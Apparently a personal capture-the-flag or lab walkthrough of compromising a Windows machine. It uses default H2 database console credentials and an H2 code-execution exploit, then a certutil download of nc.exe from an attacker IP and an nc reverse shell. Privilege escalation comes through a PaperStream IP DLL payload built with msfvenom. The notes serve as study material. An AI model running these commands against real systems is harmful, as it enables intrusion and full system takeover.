Enumeration

2021年7月28日 10:16

1: Use autorecon to enumerate its services, **80, 135, 139, 445, 7680, 8082** are open
2: **SMB** service has **access control**, and I don't have the permission to access
3: Access HTTP service running on port 80, enumerate its directories and files. However, **nothing** is interesting
4: Access port **8082**, it looks likes **H2 database management system**. By searching, I get that default login is **sa:(blank)**. And it works, I can sign in
5: After login, I and **execute SQL query** here, and I also notice its **version** is **H2 1.4.199**. There is a public exploit: https://www.exploit-db.com/exploits/49384
6: Follow the steps, now I can **execute command remotely**

Foothold

2021年7月28日 10:16

1: Upload nc.exe for setting up a reverse shell: **CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -split -f http://192.168.49.185/winexe/nc.exe C:/Users/tony/nc.exe").getInputStream()).useDelimiter("\\Z").next()')**

2: Set up a local listener, and run nc on target server to connect back: **CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Users/tony/nc.exe 192.168.49.185 445 -e cmd.exe").getInputStream()).useDelimiter("\\Z").next()'**)

3: Get a reverse shell

Privilege Escalation

2021年7月28日 10:16

1: Explore local files, and I notice an application's folder: **PaperStream IP**
2: Search for its exploit, and I find one **Local Privilege Escalation exploit**: https://www.exploit-db.com/exploits/49382
3: According to steps, generate a **dll payload**. Pay attention to this application's version, it is based **X86**, therefore the dll payload should be applied for **X86**:
msfvenom -p windows/shell_reverse_tcp -f dll -o UninOldIS.dll LHOST=192.168.49.185 LPORT=135
5: Transfer UninOldIS.dll and twain.ps1 to target: **CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -split -f http://192.168.49.185/UninOldIS.dll C:/Windows/Temp/UninOldIS.dll").getInputStream()).useDelimiter("\\Z").next()')**
6: Locate target server's powershell.exe: **dir "\powershell.exe" /s**
7: Run powershell: **C:\Windows\WinSxS\amd64_microsoft-windows-powershell-exe_31bf3856ad364e35_10.0.18362.1_none_3b736eaf7f6b1264/powershell.exe**

8: Run **.\twain.ps1**, get a system shell

Review

2021年7月28日 10:16

1: Target **HTTP** and **SQL**
2: Find **H2 database**'s exploit to **execute command remotely**
3: Some commands are not supported (**dir, type, cd**, etc.), download further needed tools such as nc.exe, winpeasany.exe, etc.
4: Use nc to get a reverse shell
5: Explore **local files**, locate exploitable app: **PaperStream IP**
6: Generate **dll payload** and download **ps1 script**, transfer them to target server
7: Locate **powershell.exe**, and run it
8: Run the exploit script, get system shell